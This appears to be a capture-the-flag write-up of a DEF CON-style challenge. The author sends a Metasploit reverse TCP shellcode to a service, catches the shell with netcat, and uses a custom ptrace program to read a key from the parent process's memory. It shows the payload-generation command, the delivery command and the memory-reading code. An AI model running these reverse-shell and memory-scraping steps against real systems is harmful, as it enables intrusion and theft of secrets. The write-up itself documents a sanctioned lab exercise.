We solved quite a few challenges and collected 48 points - this sadly was not enough to bring us into the top of the scoreboard, though.
The handler - sis
The sis binary is small and simple - it basically takes the fds from its arguments, then forks and the parent will read in the keyfile content and wait for a bit (15 seconds) and the child will read from the socket and jump into the received data - thus basically executing our sent shellcode.
Thus the twist is that even with our shellcode running we can not see the key in memory, as it is only available in the other process. We thought that spawning a shell and attaching to that other process with a debugger would get the job done.
Alright, generate shellcode, send it over.
msfpayload linux/x64/shell_reverse_tcp LHOST=?.?.?.? LPORT=4445 R > shellcode.bin
nc incest.shallweplayaga.me 65535 < shellcode.bin
$ nc -vnlp 4445
listening on [any] 4445 ...
connect to [?.?.?.?] from (UNKNOWN) [54.224.177.78] 56776
id
uid=1001(maw) gid=1001(maw) groups=1001(maw)
Looking at the code of how the parent sis reads in the keyfile we can see that it allocates a buffer and writes its address to rbp-0x18 - so that should still be valid even during the sched_yield loop.
Sadly at this point we had some problems attaching with gdb and thus did retrieve the key with a small ptrace binary of our own. I compiled the following code and copied it over to the service machine's tmp folder.
int main(int argc, char**argv) {
int pid = atoi(argv[1]);
long ptr_keystring, retval;
struct user_regs_struct uregs;
int i;
memset(&uregs, 0, sizeof(uregs));
ptrace(PTRACE_ATTACH, pid, 0, 0);
ptrace(PTRACE_GETREGS, pid, NULL, &uregs);
ptr_keystring = ptrace(PTRACE_PEEKTEXT, pid, (uregs.rbp)-0x18, NULL);
printf("regs pid %d rbp %p val@rbp-0x18 %lx\n", pid, uregs.rbp, ptr_keystring);
for (i=0; i<=48; i+=8) {
retval = ptrace(PTRACE_PEEKTEXT, pid, ptr_keystring+i, NULL);
printf("read %lx -> %lx\n", ptr_keystring+i, swap_int64(retval));
}
ptrace(PTRACE_DETACH, pid, 0, 0);
return 0;
}
This basically attaches to the pid, gets the registers in order to know rbp, and then retrieves the address of the keyfile content buffer from rbp-0x18. Several PEEKs later we should have the key...
connect to [?.?.?.?] from (UNKNOWN) [54.224.177.78] 56783
/tmp/.oldeurope/pt $(cat /proc/$$/status | grep PPid | awk '{print $2}')
regs pid 2196 rbp 0x7fff97ef83b0 val@rbp-0x18 15ed010
read 15ed010 -> 546865206b657920
read 15ed018 -> 69733a206b333370
read 15ed020 -> 20697420696e2074
read 15ed028 -> 68652066616d696c
read 15ed030 -> 790a000000000000
read 15ed038 -> d10f020000000000
read 15ed040 -> 0
Now just print those hexdigits as ASCII:
>>> '546865206b65792069733a206b33337020697420696e207468652066616d696c790a000000000000'.decode('hex')
'The key is: k33p it in the family\n\x00\x00\x00\x00\x00\x00'
This was definitely a relatively easy challenge - not really about crafting shellcode, but nevertheless the twist of retrieving the key from the parent process was quite nice!
More write-ups to come soon...
-- mark